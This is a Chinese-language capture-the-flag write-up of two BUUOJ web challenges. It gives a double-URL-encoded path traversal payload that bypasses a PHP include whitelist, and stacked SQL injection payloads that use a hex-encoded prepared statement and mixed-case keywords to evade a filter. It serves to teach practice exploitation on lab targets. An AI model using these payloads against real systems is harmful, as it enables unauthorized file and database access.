buu oj题库的题质量很高,这里记录一下
1.WarmUp
代码审计
查看源码发现提示source.php和hint.php
source.php
<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } } if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
hint提示flag在ffffllllaaaagggg.php里,这里可以联想到SUCTF的一道题即phpmyadmin远程文件包含漏洞
在source.php中的checkfile函数,工作原理大致如下
1.定义一个白名单,里面包括了source.php和hint.php
2.判断page是否为空或字符串,返回true。
3.对page经过一次url编码,取出传入参数page问号前的数据,判断输入是否在白名单中,如果存在于白名单,返回true。
当然在传入参数时,服务器会自动进行一次url编码。因此我们最总的payload为hint.php?page=../../../../../../ffffllllaaaagggg一次解码前变为hint.php?page=%3f../../../../ffffllllaaaagggg再经过一次编码变为file=hint.php%253f/../../../../../../../../ffffllllaaaagggg
payload:http://web5.buuoj.cn/?file=hint.php%253F/../../../../ffffllllaaaagggg
2.随便注
这是强网杯的一道原题。
进过测试
输入1'报错
输入1' or 1 = 1# 返回正常
输入1' order by ...# 发现有2列
1' union select 1,2,3,4 # 返回 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
看到了过滤规则,过滤了select update 等常用字符
新学到一个方式 堆叠注入
用show 和 desc收集表的结构。
1';show databases;# 查看数据库
1';show tables;# 查看数据表
依次查询字段
1';show columns from `表`;#
这里的表要加反引号,因为这里要区分table_name
查找到了flag字段
不过这里存在substr,因此采用大小写绕过的方式:payload:http://web16.buuoj.cn/?inject=1%27;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare%20execsql%20from%20@a;execute%20execsql;#